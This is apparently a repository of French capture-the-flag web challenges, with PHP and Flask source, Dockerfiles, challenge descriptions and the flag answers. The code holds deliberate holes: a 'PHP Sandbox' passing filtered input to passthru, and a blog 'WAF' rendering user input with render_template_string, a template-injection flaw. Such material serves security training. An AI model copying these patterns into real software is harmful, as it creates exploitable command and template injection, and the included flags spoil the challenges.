 54 |         mysqli_stmt_close($stmt);
 55 |     }
 56 |     
 57 |     // Validate password
 58 |     if(empty(trim($_POST['password']))){
 59 |         $password_err = 'Please enter a password.';     
 60 |     } elseif(strlen(trim($_POST['password'])) < 6){
 61 |         $password_err = 'Password must have atleast 6 characters.';
 62 |     } else{
 63 |         $password = trim($_POST['password']);
 64 |     }
 65 |     
 66 |     // Validate confirm password
 67 |     if(empty(trim($_POST['confirm_password']))){
 68 |         $confirm_password_err = 'Please confirm password.';     
 69 |     } else{
 70 |         $confirm_password = trim($_POST['confirm_password']);
 71 |         if(empty($password_err) && ($password != $confirm_password)){
 72 |             $confirm_password_err = 'Password did not match.';
 73 |         }
 74 |     }
 75 | 
 76 |     // Check input errors before inserting in database
 77 |     if(empty($username_err) && empty($password_err) && empty($confirm_password_err)){
 78 |         
 79 |         // Prepare an insert statement
 80 |         $sql = 'INSERT INTO users (username, password, upload_dir) VALUES (?, ?, ?)';
 81 |          
 82 |         // Set parameters
 83 |         $param_username = $username;
 84 |         $param_password = password_hash($password, PASSWORD_DEFAULT); // Creates a password hash
 85 |         $param_upload_dir = hash('sha256', $param_username . uniqid(mt_rand(), true)); // Create a unique dirname
 86 | 
 87 |         if($stmt = mysqli_prepare($link, $sql)){
 88 | 
 89 |             // Bind variables to the prepared statement as parameters
 90 |             mysqli_stmt_bind_param($stmt, 'sss', $param_username, $param_password, $param_upload_dir);
 91 |             
 92 |             // Attempt to execute the prepared statement
 93 |             $res = mysqli_stmt_execute($stmt);
 94 | 
 95 |             if($res){
 96 |                 // On crée le répertoire d'upload de l'utilisateur
 97 |                 mkdir(__DIR__ . '/upload/' . $param_upload_dir . '/');
 98 | 
 99 |                 // Redirect to login page
100 |                 header('location: login.php');
101 |             } else{
102 |                 echo 'Something went wrong. Please try again later.';
103 |             }
104 |         }
105 |          
106 |         // Close statement
107 |         mysqli_stmt_close($stmt);
108 |     }
109 |     
110 |     // Close connection
111 |     mysqli_close($link);
112 | }
113 | ?>
114 |  
115 | <!DOCTYPE html>
116 | <html lang='en'>
117 | <head>
118 |     <meta charset='UTF-8'>
119 |     <title>Sign Up</title>
120 |     <link rel='stylesheet' href='/static/css/bootstrap.min.css'>
121 |     <style type='text/css'>
122 |         .container {
123 |             max-width: 350px;
124 |         }
125 |         textarea {
126 |             resize: vertical;    /* allow only vertical stretch */
127 |         }
128 |         body {
129 |             background-color: #f5f7fa;
130 |         }
131 |     </style>
132 | </head>
133 | <body>
134 |     <div class='container'>
135 |         <h2>Sign Up</h2>
136 |         <p>Please fill this form to create an account.</p>
137 |         <form action='<?php echo htmlspecialchars($_SERVER['PHP_SELF']); ?>' method='post'>
138 |             <div class='form-group <?php echo (!empty($username_err)) ? 'has-error' : ''; ?>'>
139 |                 <label>Username</label>
140 |                 <input type='text' name='username' class='form-control' value='<?php echo $username; ?>'>
141 |                 <span class='help-block'><?php echo $username_err; ?></span>
142 |             </div>    
143 |             <div class='form-group <?php echo (!empty($password_err)) ? 'has-error' : ''; ?>'>
144 |                 <label>Password</label>
145 |                 <input type='password' name='password' class='form-control' value='<?php echo $password; ?>'>
146 |                 <span class='help-block'><?php echo $password_err; ?></span>
147 |             </div>
148 |             <div class='form-group <?php echo (!empty($confirm_password_err)) ? 'has-error' : ''; ?>'>
149 |                 <label>Confirm Password</label>
150 |                 <input type='password' name='confirm_password' class='form-control' value='<?php echo $confirm_password; ?>'>
151 |                 <span class='help-block'><?php echo $confirm_password_err; ?></span>
152 |             </div>
153 |             <div class='form-group'>
154 |                 <input type='submit' class='btn btn-primary' value='Submit'>
155 |                 <input type='reset' class='btn btn-default' value='Reset'>
156 |             </div>
157 |             <p>Already have an account? <a href='login.php'>Login here</a>.</p>
158 |         </form>
159 |     </div>    
160 | </body>
161 | </html>


--------------------------------------------------------------------------------
/web-CeciNestPasUnePipe/php-apache/www/robots.txt:
--------------------------------------------------------------------------------
1 | User-agent: *
2 | Disallow: /
3 | 


--------------------------------------------------------------------------------
/web-CeciNestPasUnePipe/php-apache/www/todo.php:
--------------------------------------------------------------------------------
1 | # ls -l /usr/sbin/sendmail<br>
2 | -rwxr-xr-x 1 root root 16464 janv. 13  2018 /usr/sbin/sendmail<br>


--------------------------------------------------------------------------------
/web-CeciNestPasUnePipe/php-apache/www/upload/.gitignore:
--------------------------------------------------------------------------------
1 | *
2 | !.gitignore


--------------------------------------------------------------------------------
/web-PHP_Sandbox/Dockerfile:
--------------------------------------------------------------------------------
 1 | FROM php:7.3.4-apache-stretch
 2 | 
 3 | COPY ./www/ /var/www/html/
 4 | RUN chmod a-w /var/www/html/
 5 | RUN chmod +x /home
 6 | RUN mkdir -p /usr/share/php/chall
 7 | 
 8 | COPY ./conf/php/prepend.php /usr/share/php/chall
 9 | COPY ./conf/php/php.ini /usr/local/etc/php
10 | COPY ./conf/flag/flag.txt /home/flag.txt
11 | 
12 | EXPOSE 80
13 | 


--------------------------------------------------------------------------------
/web-PHP_Sandbox/README.md:
--------------------------------------------------------------------------------
 1 | # PHP Sandbox
 2 | 
 3 | | Phase          | Catégorie    |   Difficulté  | Nombre de résolutions |
 4 | |:--------------:|:------------:|:-------------:|:---------------------:|
 5 | | Pré-sélections | web          |      Facile   |            152 / 1241 |
 6 | 
 7 | ### Description
 8 | 
 9 | À vous de trouver les bons arguments pour lui parler.
10 | 


--------------------------------------------------------------------------------
/web-PHP_Sandbox/conf/flag/flag.txt:
--------------------------------------------------------------------------------
1 | ECSC{ae822cf59d26401b64f20ee9af8fd4cf31da79ab}
2 | 


--------------------------------------------------------------------------------
/web-PHP_Sandbox/conf/php/prepend.php:
--------------------------------------------------------------------------------
1 | <?php
2 | ini_set('open_basedir', dirname($_SERVER['SCRIPT_FILENAME']) . ':/home:/usr/share/php/chall:/tmp');


--------------------------------------------------------------------------------
/web-PHP_Sandbox/www/index.php:
--------------------------------------------------------------------------------
 1 | <?php
 2 |     
 3 |     // L2hvbWUvZmxhZy50eHQ=
 4 | 
 5 |     if (isset($_GET['args'])){
 6 | 
 7 |     	if(!is_array($_GET['args'])){
 8 |     		$args = array();
 9 |     		$args[] = $_GET['args'];
10 |     	} else {
11 |     		$args = $_GET['args'];
12 |     	}
13 | 
14 |         for ( $i=0; $i<count($args); $i++ ){
15 |             if (!preg_match('/^[\w\/|\.]*$/', $args[$i])){
16 |                 die('<b>preg_match() has just detected invalid characters! ¯\_(ツ)_/¯</b>');
17 |             }
18 |         }
19 |     } else {
20 |         die('<b>Command arguments not found!</b>');
21 |     }
22 | 
23 |     $command = implode(" ", $args);
24 | 
25 |     if(preg_match('/^(\/bin\/cat|cat) +[\w\.\/]*$/',$command)){
26 |         echo passthru($command . " 2>&1");
27 |     } else {
28 |         echo 'Only \'cat &lt;file&gt;\' command allowed';
29 |     }
30 | 


--------------------------------------------------------------------------------
/web-PHP_Sandbox/www/robots.txt:
--------------------------------------------------------------------------------
1 | User-agent: *
2 | Disallow: /
3 | 


--------------------------------------------------------------------------------
/web-jajaja/Dockerfile:
--------------------------------------------------------------------------------
 1 | FROM debian:stable-slim
 2 | RUN apt update
 3 | RUN apt install -y python3-dev python3-pip
 4 | WORKDIR /app
 5 | COPY content.json flag.txt jajaja.py requirements.txt ./
 6 | COPY static /app/static
 7 | COPY templates /app/templates
 8 | RUN pip3 install -r requirements.txt
 9 | RUN rm requirements.txt
10 | 
11 | RUN useradd ctf
12 | USER ctf
13 | EXPOSE 5000
14 | CMD python3 jajaja.py
15 | 


--------------------------------------------------------------------------------
/web-jajaja/README.md:
--------------------------------------------------------------------------------
 1 | # jajaja
 2 | 
 3 | | Phase          | Catégorie    |   Difficulté  | Nombre de résolutions |
 4 | |:--------------:|:------------:|:-------------:|:---------------------:|
 5 | | Finale France  |     web      |     Moyen     |               10 / 50 |
 6 | 
 7 | ### Description
 8 | 
 9 | Un ami vous a contacté en reconnaissant avoir été victime d'attaquants. Un peu honteux d'avoir un blog vulnérable, il vous demande d'identifier la ou les failles potentielles de son site.
10 | 


--------------------------------------------------------------------------------
/web-jajaja/content.json:
--------------------------------------------------------------------------------
 1 | {
 2 | 	"posts": [
 3 | 		{
 4 | 			"id": "1",
 5 | 			"title": "Ouverture de mon blog",
 6 | 			"description": "Et voilà, j'ouvre enfin mon blog !",
 7 | 			"content": "Et voilà, j'ouvre enfin mon blog ! Sur de nombreuses demandes, je partagerai ici des articles techniques sur la sécurité informatique.",
 8 | 			"date": "3 juillet 2019",
 9 | 			"author": "zero",
10 | 			"category": "Sécurité", 
11 | 			"comments": [
12 | 				{
13 | 					"author": "zero", 
14 | 					"date": "5 juillet 2019", 
15 | 					"content": "Je me rends compte que de plus en plus de personnes essayent de pwn mon site et mon serveur, je ferme temporairement les commentaires le temps de régler ça !"
16 | 				}
17 | 			]
18 | 		},
19 | 		{
20 | 			"id": "2",
21 | 			"title": "WAF ajouté et réouverture des commentaires",
22 | 			"description": "Comme dit dans les commentaires, plusieurs personnes ont essayé de chercher des failles dans ce blog. Pour m'assurer que je les détecte, j'ai codé mon propre mécanisme de détection générique d'attaques.",
23 | 			"content": "Comme dit dans les commentaires, plusieurs personnes ont essayés de chercher des failles dans ce blog. Pour m'assurer que je les détecte, j'ai codé mon propre mécanisme de détection générique d'attaques. Le principe est le suivant : pour tout input envoyé par un utilisateur, je l'évalue afin de vérifier que le résultat est de la même taille. S'il ne l'est pas, c'est qu'il s'agit d'une commande interprétable, et qu'on tente d'attaquer ce blog. <br /><br />TOUTE TENTATIVE D'ATTAQUE SERA REPORTEE A L'HEBERGEUR<br /><br />Les commentaires sont de nouveau ouverts !",
24 | 			"date": "6 juillet 2019",
25 | 			"author": "zero",
26 | 			"category": "Securité", 
27 | 			"comments": []
28 | 		}
29 | 	]
30 | }
31 | 


--------------------------------------------------------------------------------
/web-jajaja/flag.txt:
--------------------------------------------------------------------------------
1 | lh_c7e7a42dc0032e422e65f245bdb3d9eb556eec23


--------------------------------------------------------------------------------
/web-jajaja/jajaja.py:
--------------------------------------------------------------------------------
 1 | # -*- coding: utf-8 -*-
 2 | 
 3 | from flask import Flask, render_template, request, render_template_string, abort, Response
 4 | from wtforms import Form, StringField, TextAreaField, SubmitField, ValidationError
 5 | from wtforms.validators import input_required, optional
 6 | from functools import wraps
 7 | from json import load as json_load
 8 | 
 9 | with open("content.json", encoding='utf-8') as f:
10 |     POSTS = json_load(f)["posts"]
11 | 
12 | app = Flask(__name__)
13 | 
14 | def dangerous(f):
15 |     @wraps(f)
16 |     def decorated_function(*args, **kwargs):
17 |         if request.method == "POST":
18 |             debug_msg = ""
19 |             # FIXME: tplmap still bypasses my test
20 |             try:
21 |                 if "tplmap" in request.headers["User-Agent"].lower():
22 |                     return render_template("error.html", error_code=403, 
23 |                         error_message="Requête bloquée par le WAF"), 403
24 |             except:
25 |                 pass
26 |             for field, data in request.form.items():
27 |                 try:
28 |                     tmp = render_template_string(data)
29 |                 except:
30 |                     abort(500)
31 |                 # TODO
32 |                 if field == "comment":
33 |                     debug_msg = tmp
34 |                 if len(data) != len(tmp):
35 |                     r = Response(render_template("error.html", error_code=403, 
36 |                         error_message="Requête bloquée par le WAF"), 403)
37 |                     if len(data) > len(tmp):
38 |                         r.headers["X-Waf-Debug"] = "BLOCKED; REASON: input longer than result"
39 |                     else:
40 |                         r.headers["X-Waf-Debug"] = "BLOCKED; REASON: input shorter than result"
41 |                     return r
42 |             # TODO: remove this
43 |             r = Response(f(*args, **kwargs), 200)
44 |             r.headers["X-Waf-Debug"] = "'%s' == '%s'" % (request.form["comment"], debug_msg)
45 |             return r
46 |         return f(*args, **kwargs)
47 |     return decorated_function
48 | 
49 | class CommentForm(Form):
50 |     nickname = StringField(u'Pseudonyme', validators=[input_required()])
51 |     comment  = TextAreaField(u'Commentaire', validators=[optional()])
52 |     preview = SubmitField("Previsualiser")
53 |     post = SubmitField(u"Poster")
54 | 
55 |     def validate_post(self, field):
56 |         if field.data is True:
57 |             raise ValidationError("Comment section is not yet enabled!")
58 | 
59 | @app.errorhandler(500)
60 | def server_error(e):
61 |     return render_template("error.html", error_code=500, error_message="Erreur serveur"), 500
62 | 
63 | @app.errorhandler(404)
64 | def page_not_found(e):
65 |     return render_template("error.html", error_code=404, error_message="Page non trouvée"), 404
66 | 
67 | @app.route('/')
68 | def homepage():
69 |     return render_template("homepage.html", POSTS=POSTS)
70 | 
71 | @app.route('/post/<post_id>/', methods=["GET", "POST"])
72 | @dangerous
73 | def post(post_id=None):
74 |     try:
75 |         post_id = int(post_id)
76 |     except TypeError:
77 |         abort(404)
78 |     if post_id < 1 or post_id > len(POSTS):
79 |         abort(404)
80 | 
81 |     form=CommentForm(request.form)
82 |     if request.method == "POST" and form.validate():
83 |         return render_template("post.html", form=form, 
84 |             POST=POSTS[post_id-1], post_id=post_id,
85 |             preview_nick=form.nickname.data,
86 |             preview_comment=form.comment.data)
87 |     return render_template("post.html", form=form, POST=POSTS[post_id-1], post_id=post_id)    
88 | 
89 | if __name__ == '__main__':
90 |     app.run(debug=True, host='0.0.0.0')
91 | 


--------------------------------------------------------------------------------
/web-jajaja/requirements.txt:
--------------------------------------------------------------------------------
1 | Flask==1.0.3
2 | WTForms==2.2.1
3 | 


--------------------------------------------------------------------------------
/web-jajaja/static/css/blog.css:
--------------------------------------------------------------------------------
  1 | /* stylelint-disable selector-list-comma-newline-after */
  2 | 
  3 | .blog-header {
  4 |   line-height: 1;
  5 |   border-bottom: 1px solid #e5e5e5;
  6 | }
  7 | 
  8 | .blog-header-logo {
  9 |   font-family: "Playfair Display", Georgia, "Times New Roman", serif;
 10 |   font-size: 2.25rem;
 11 | }
 12 | 
 13 | .blog-header-logo:hover {
 14 |   text-decoration: none;
 15 | }
 16 | 
 17 | h1, h2, h3, h4, h5, h6 {
 18 |   font-family: "Playfair Display", Georgia, "Times New Roman", serif;
 19 | }
 20 | 
 21 | .display-4 {
 22 |   font-size: 2.5rem;
 23 | }
 24 | @media (min-width: 768px) {
 25 |   .display-4 {
 26 |     font-size: 3rem;
 27 |   }
 28 | }
 29 | 
 30 | .nav-scroller {
 31 |   position: relative;
 32 |   z-index: 2;
 33 |   height: 2.75rem;
 34 |   overflow-y: hidden;
 35 | }
 36 | 
 37 | .nav-scroller .nav {
 38 |   display: -ms-flexbox;
 39 |   display: flex;
 40 |   -ms-flex-wrap: nowrap;
 41 |   flex-wrap: nowrap;
 42 |   padding-bottom: 1rem;
 43 |   margin-top: -1px;
 44 |   overflow-x: auto;
 45 |   text-align: center;
 46 |   white-space: nowrap;
 47 |   -webkit-overflow-scrolling: touch;
 48 | }
 49 | 
 50 | .nav-scroller .nav-link {
 51 |   padding-top: .75rem;
 52 |   padding-bottom: .75rem;
 53 |   font-size: .875rem;
 54 | }
 55 | 
 56 | .card-img-right {
 57 |   height: 100%;
 58 |   border-radius: 0 3px 3px 0;
 59 | }
 60 | 
 61 | .flex-auto {
 62 |   -ms-flex: 0 0 auto;
 63 |   flex: 0 0 auto;
 64 | }
 65 | 
 66 | .h-250 { height: 250px; }
 67 | @media (min-width: 768px) {
 68 |   .h-md-250 { height: 250px; }
 69 | }
 70 | 
 71 | /*
 72 |  * Blog name and description
 73 |  */
 74 | .blog-title {
 75 |   margin-bottom: 0;
 76 |   font-size: 2rem;
 77 |   font-weight: 400;
 78 | }
 79 | .blog-description {
 80 |   font-size: 1.1rem;
 81 |   color: #999;
 82 | }
 83 | 
 84 | @media (min-width: 40em) {
 85 |   .blog-title {
 86 |     font-size: 3.5rem;
 87 |   }
 88 | }
 89 | 
 90 | /* Pagination */
 91 | .blog-pagination {
 92 |   margin-bottom: 4rem;
 93 | }
 94 | .blog-pagination > .btn {
 95 |   border-radius: 2rem;
 96 | }
 97 | 
 98 | /*
 99 |  * Blog posts
100 |  */
101 | .blog-post {
102 |   margin-bottom: 4rem;
103 | }
104 | .blog-post-title {
105 |   margin-bottom: .25rem;
106 |   font-size: 2.5rem;
107 | }
108 | .blog-post-meta {
109 |   margin-bottom: 1.25rem;
110 |   color: #999;
111 | }
112 | 
113 | /*
114 |  * Footer
115 |  */
116 | .blog-footer {
117 |   padding: 2.5rem 0;
118 |   color: #999;
119 |   text-align: center;
120 |   background-color: #f9f9f9;
121 |   border-top: .05rem solid #e5e5e5;
122 | }
123 | .blog-footer p:last-child {
124 |   margin-bottom: 0;
125 | }
126 | 


--------------------------------------------------------------------------------
/web-jajaja/static/css/fonts.css:
--------------------------------------------------------------------------------
 1 | /* cyrillic */
 2 | @font-face {
 3 |   font-family: 'Playfair Display';
 4 |   font-style: normal;
 5 |   font-weight: 700;
 6 |   src: local('Playfair Display Bold'), local('PlayfairDisplay-Bold'), url(https://fonts.gstatic.com/s/playfairdisplay/v14/nuFlD-vYSZviVYUb_rj3ij__anPXBYf9lWoe5ixi.woff2) format('woff2');
 7 |   unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
 8 | }
 9 | /* vietnamese */
10 | @font-face {
11 |   font-family: 'Playfair Display';
12 |   font-style: normal;
13 |   font-weight: 700;
14 |   src: local('Playfair Display Bold'), local('PlayfairDisplay-Bold'), url(https://fonts.gstatic.com/s/playfairdisplay/v14/nuFlD-vYSZviVYUb_rj3ij__anPXBYf9lWEe5ixi.woff2) format('woff2');
15 |   unicode-range: U+0102-0103, U+0110-0111, U+1EA0-1EF9, U+20AB;
16 | }
17 | /* latin-ext */
18 | @font-face {
19 |   font-family: 'Playfair Display';
20 |   font-style: normal;
21 |   font-weight: 700;
22 |   src: local('Playfair Display Bold'), local('PlayfairDisplay-Bold'), url(https://fonts.gstatic.com/s/playfairdisplay/v14/nuFlD-vYSZviVYUb_rj3ij__anPXBYf9lWAe5ixi.woff2) format('woff2');
23 |   unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
24 | }
25 | /* latin */
26 | @font-face {
27 |   font-family: 'Playfair Display';
28 |   font-style: normal;
29 |   font-weight: 700;
30 |   src: local('Playfair Display Bold'), local('PlayfairDisplay-Bold'), url(https://fonts.gstatic.com/s/playfairdisplay/v14/nuFlD-vYSZviVYUb_rj3ij__anPXBYf9lW4e5g.woff2) format('woff2');
31 |   unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
32 | }
33 | /* cyrillic */
34 | @font-face {
35 |   font-family: 'Playfair Display';
36 |   font-style: normal;
37 |   font-weight: 900;
38 |   src: local('Playfair Display Black'), local('PlayfairDisplay-Black'), url(https://fonts.gstatic.com/s/playfairdisplay/v14/nuFlD-vYSZviVYUb_rj3ij__anPXBb__lWoe5ixi.woff2) format('woff2');
39 |   unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
40 | }
41 | /* vietnamese */
42 | @font-face {
43 |   font-family: 'Playfair Display';
44 |   font-style: normal;
45 |   font-weight: 900;
46 |   src: local('Playfair Display Black'), local('PlayfairDisplay-Black'), url(https://fonts.gstatic.com/s/playfairdisplay/v14/nuFlD-vYSZviVYUb_rj3ij__anPXBb__lWEe5ixi.woff2) format('woff2');
47 |   unicode-range: U+0102-0103, U+0110-0111, U+1EA0-1EF9, U+20AB;
48 | }
49 | /* latin-ext */
50 | @font-face {
51 |   font-family: 'Playfair Display';
52 |   font-style: normal;
53 |   font-weight: 900;
54 |   src: local('Playfair Display Black'), local('PlayfairDisplay-Black'), url(https://fonts.gstatic.com/s/playfairdisplay/v14/nuFlD-vYSZviVYUb_rj3ij__anPXBb__lWAe5ixi.woff2) format('woff2');
55 |   unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
56 | }
57 | /* latin */
58 | @font-face {
59 |   font-family: 'Playfair Display';
60 |   font-style: normal;
61 |   font-weight: 900;
62 |   src: local('Playfair Display Black'), local('PlayfairDisplay-Black'), url(https://fonts.gstatic.com/s/playfairdisplay/v14/nuFlD-vYSZviVYUb_rj3ij__anPXBb__lW4e5g.woff2) format('woff2');
63 |   unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
64 | }
65 | 


--------------------------------------------------------------------------------
/web-jajaja/templates/comment.html:
--------------------------------------------------------------------------------
 1 | {% extends 'master.html' %}
 2 | 
 3 | {% block body %}
 4 |       <div class="blog-post">
 5 |         <h2 class="blog-post-title">{{ POST.title }}</h2>
 6 |         <p class="blog-post-meta">Ajouter commentaire</p>
 7 | 
 8 |         <form method="POST" action="{{ url_for('comment', post_id=post_id) }}">
 9 | 	  	<div class"form-group">
10 | 	    	{{ form.nickname.label }}: {{ form.nickname(class_="form-control") }}
11 | 		</div>
12 | 	    <div class"form-group">
13 | 	    	{{ form.comment.label }}: {{ form.comment(class_="form-control") }}
14 | 		</div>
15 | 		<div class"form-group">
16 | 	    	{{ form.preview(class_="btn btn-primary") }}
17 | 	   		{# form.post(class_="btn btn-primary", disabled=True) #}
18 | 	   		 <input class="btn btn-primary" disabled="" id="post" name="post" 
19 | 	   		 type="submit" value="Poster" data-toggle="tooltip" data-placement="bottom" title="Les commentaires sont temporairement désactivés.">
20 | 		</div>
21 | 		</form>
22 |       </div>
23 | 
24 | {#<div class="container">
25 |   <h1 class="mt-5"</h1>
26 | 	{% if preview_nick %}
27 | 	<div class="container">
28 | 		<h1 class="mt-5">Comment preview</h1>
29 | 		<h2>Comment by: {{ preview_nick }}</h2>
30 | 		<p>
31 | 		{{ preview_comment }}
32 | 		<p>
33 | 	</div>
34 | 	{% endif %}
35 | </div>#}
36 | 
37 | {% endblock %}
38 | 
39 | {% block script %}
40 | <script>
41 | $('#post').tooltip()
42 | </script>
43 | {% endblock %}
44 | 


--------------------------------------------------------------------------------
/web-jajaja/templates/error.html:
--------------------------------------------------------------------------------
 1 | {% extends 'master.html' %}
 2 | 
 3 | {% block body %}
 4 | {% if error_code == 403 %}
 5 | <div class="alert alert-danger">
 6 |   <h1 class="alert-heading">Code 403</h4>
 7 |   <p>{{ error_message }}</p>
 8 | </div>
 9 | {% else %}
10 | <div class="alert alert-warning">
11 |   <h1 class="alert-heading">Code {{ error_code }}</h4>
12 |   <p>{{ error_message }}</p>
13 | </div>
14 | {% endif %}
15 | {% endblock %}
16 | 


--------------------------------------------------------------------------------
/web-jajaja/templates/homepage.html:
--------------------------------------------------------------------------------
 1 | {% extends 'master.html' %}
 2 | 
 3 | {% block body %}
 4 | {% for post in POSTS|reverse %}
 5 |       <div class="blog-post">
 6 |         <h2 class="blog-post-title">{{ post.title }}</h2>
 7 |         <p class="blog-post-meta">{{ post.date }} par <a href="#">{{ post.author }}</a></p>
 8 |         <p>{{ post.description|safe }}</p>
 9 |         <a class="btn btn-sm btn-secondary btn-primary" href="{{ url_for('post', post_id=post.id) }}" role="btn">Lire</a>
10 |       </div><!-- /.blog-post -->
11 | {% endfor %}
12 | {% endblock %}
13 | 


--------------------------------------------------------------------------------
/web-jajaja/templates/master.html:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE html>
 2 | <html lang="en"><head>
 3 | <meta http-equiv="content-type" content="text/html; charset=UTF-8">
 4 |     <meta charset="utf-8">
 5 |     <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
 6 |     <meta name="description" content="{% block description %}{% endblock %}">
 7 |     <title>Good times</title>
 8 | 
 9 |     <!-- Bootstrap core CSS -->
10 | 	<link rel="stylesheet" href="{{ url_for('static', filename='css/bootstrap.min.css') }}">
11 | 
12 |     <style>
13 |       .bd-placeholder-img {
14 |         font-size: 1.125rem;
15 |         text-anchor: middle;
16 |         -webkit-user-select: none;
17 |         -moz-user-select: none;
18 |         -ms-user-select: none;
19 |         user-select: none;
20 |       }
21 | 
22 |       .card-inner{
23 | 		    margin-left: 4rem;
24 | 		}
25 | 
26 |       @media (min-width: 768px) {
27 |         .bd-placeholder-img-lg {
28 |           font-size: 3.5rem;
29 |         }
30 |       }
31 |     </style>
32 |     <!-- Custom fonts for this template -->
33 |     <link rel="stylesheet" href="{{ url_for('static', filename='css/fonts.css') }}">
34 |     <!-- Custom styles for this template -->
35 |     <link rel="stylesheet" href="{{ url_for('static', filename='css/blog.css') }}">
36 |   <style>#content > #center > .dose > .dosesingle,
37 | #content > #right > .dose > .dosesingle
38 | {display:none !important;}</style></head>
39 |   <body>
40 |     <div class="container">
41 |   <header class="blog-header py-3">
42 |     <div class="row flex-nowrap justify-content-between align-items-center">
43 |       <div class="col-4 pt-1">
44 |         
45 |       </div>
46 |       <div class="col-4 text-center">
47 |         <a class="blog-header-logo text-dark" href="{{ url_for('homepage') }}">Good times</a>
48 |       </div>
49 |       <div class="col-4 d-flex justify-content-end align-items-center">
50 |         
51 |       </div>
52 |     </div>
53 |   </header>
54 | 
55 | <main role="main" class="container">
56 |   <div class="row">
57 |     <div class="col-md-8 blog-main">
58 |     	{% block body %}
59 | 
60 |     	{% endblock %}
61 |     </div><!-- /.blog-main -->
62 | 
63 |     <aside class="col-md-4 blog-sidebar">
64 |       <div class="p-4 mb-3 bg-light rounded">
65 |         <h4 class="font-italic">A propos</h4>
66 |         <p class="mb-0">Ce blog aborde des points techniques liés à la sécurité informatique.</p>
67 |       </div>
68 | 
69 |       <div class="p-4">
70 |         <h4 class="font-italic">Catégories</h4>
71 |         <ol class="list-unstyled mb-0">
72 |           <li><a href="#">Sécurité</a></li>
73 |         </ol>
74 |       </div>
75 |     </aside><!-- /.blog-sidebar -->
76 | 
77 |   </div><!-- /.row -->
78 | 
79 | </main><!-- /.container -->
80 | 
81 | <footer class="blog-footer">
82 |   <p>Ce blog est propulsé par <a href="https://fr.wordpress.org">Wordpress</a>.</p>
83 |   {#<p>
84 |     <a href="#">Retour en haut</a>
85 |   </p>#}
86 | </footer>
87 | 
88 | </body>
89 | 
90 |  <script src="{{ url_for('static', filename='js/jquery-3.4.1.min.js') }}"></script>
91 |   <script src="{{ url_for('static', filename='js/bootstrap.bundle.min.js') }}"></script>
92 | 
93 |   {% block script %}
94 |   {% endblock %}
95 | 
96 | </html>
97 | 


--------------------------------------------------------------------------------
/web-jajaja/templates/post.html:
--------------------------------------------------------------------------------
 1 | {% extends 'master.html' %}
 2 | 
 3 | {% block body %}
 4 |       <div class="blog-post">
 5 |         <h2 class="blog-post-title">{{ POST.title }}</h2>
 6 |         <p class="blog-post-meta">{{ POST.date }} par <a href="#">{{ POST.author }}</a></p>
 7 |         <p>{{ POST.content|safe }}</p>
 8 | 
 9 |         <div class="card">
10 |         <div class="card-header">
11 | 	       Commentaires
12 | 	    </div>
13 | 	    <div class="card-body">
14 | 	    	{% for comment in POST.comments %}
15 | 	    	<div class="card">
16 | 	    	<div class="card-body">
17 | 	        <div class="row">
18 |         	    <div class="col-md-2">
19 |         	        <img src="https://image.ibb.co/jw55Ex/def_face.jpg" class="img img-rounded img-fluid"/>
20 |         	        <p class="text-secondary text-center">{{ comment.date }}</p>
21 |         	    </div>
22 |         	    <div class="col-md-10">
23 |         	        <p>
24 |         	            <a class="float-left" href="#"><strong>{{ comment.author }}</strong></a>
25 |         	            <span class="float-right"><i class="text-warning fa fa-star"></i></span>
26 |                         <span class="float-right"><i class="text-warning fa fa-star"></i></span>
27 |         	            <span class="float-right"><i class="text-warning fa fa-star"></i></span>
28 |         	            <span class="float-right"><i class="text-warning fa fa-star"></i></span>
29 | 
30 |         	       </p>
31 |         	       <div class="clearfix"></div>
32 |         	        <p>{{ comment.content }}</p>
33 |         	        <p>
34 |         	            <a class="float-right btn btn-outline-primary ml-2" href="#replybox">  <i class="fa fa-reply"></i> Répondre</a>
35 |         	       </p>
36 |         	    </div>
37 | 	        </div><!-- /.row -->
38 | 	        </div><!-- /.card-body -->
39 | 	    	</div><!-- /.card -->
40 | 	    	{% endfor %}
41 | 
42 | 	    	{% if preview_nick %}
43 | 	    	<div class="card border-info">
44 | 	    	<div class="card-body text-info">
45 | 	        <div class="row">
46 |         	    <div class="col-md-2">
47 |         	        <img src="https://image.ibb.co/jw55Ex/def_face.jpg" class="img img-rounded img-fluid"/>
48 |         	        <p class="text-secondary text-center">Prévisualisation</p>
49 |         	    </div>
50 |         	    <div class="col-md-10">
51 |         	        <p>
52 |         	            <a class="float-left" href="https://maniruzzaman-akash.blogspot.com/p/contact.html"><strong>{{ preview_nick }}</strong></a>
53 |         	            <span class="float-right"><i class="text-warning fa fa-star"></i></span>
54 |                         <span class="float-right"><i class="text-warning fa fa-star"></i></span>
55 |         	            <span class="float-right"><i class="text-warning fa fa-star"></i></span>
56 |         	            <span class="float-right"><i class="text-warning fa fa-star"></i></span>
57 | 
58 |         	       </p>
59 |         	       <div class="clearfix"></div>
60 |         	        <p>{{ preview_comment }}</p>
61 |         	    </div>
62 | 	        </div><!-- /.row -->
63 | 	        </div><!-- /.card-body -->
64 | 	    	</div><!-- /.card -->
65 | 	    	{% endif %}
66 | 	    </div><!-- /.card-body -->
67 | 	    <div class="card-footer" id="replybox">
68 | 	    	<form method="POST" action="{{ url_for('post', post_id=post_id) }}">
69 | 		  	<div class"form-group">
70 | 		    	{{ form.nickname.label }}: {{ form.nickname(class_="form-control") }}
71 | 			</div>
72 | 		    <div class"form-group">
73 | 		    	{{ form.comment.label }}: {{ form.comment(class_="form-control") }}
74 | 			</div>
75 | 			<div class"form-group">
76 | 		    	{{ form.preview(class_="btn btn-primary") }}
77 | 		   		{# form.post(class_="btn btn-primary", disabled=True) #}
